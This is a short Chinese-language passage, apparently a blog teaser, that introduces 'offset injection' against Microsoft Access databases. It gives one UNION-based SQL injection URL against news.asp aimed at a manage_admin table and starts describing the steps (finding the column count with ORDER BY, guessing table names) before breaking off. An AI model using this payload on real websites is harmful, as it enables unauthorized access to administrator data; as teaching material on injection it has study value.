access 偏移注入 案例

news.asp?id=3039 and 4>8 union select 1,2,3,4,* from manage_admin as a inner join manage_admin as b on a.id=b.id 看個案例就明白是什麼意思了 先是背景sql news.asp?id=3306 存在注入spa 而後經過 order by 可知查詢返回 12 列code 經過數據表字典跑出管

>>阅读原文<<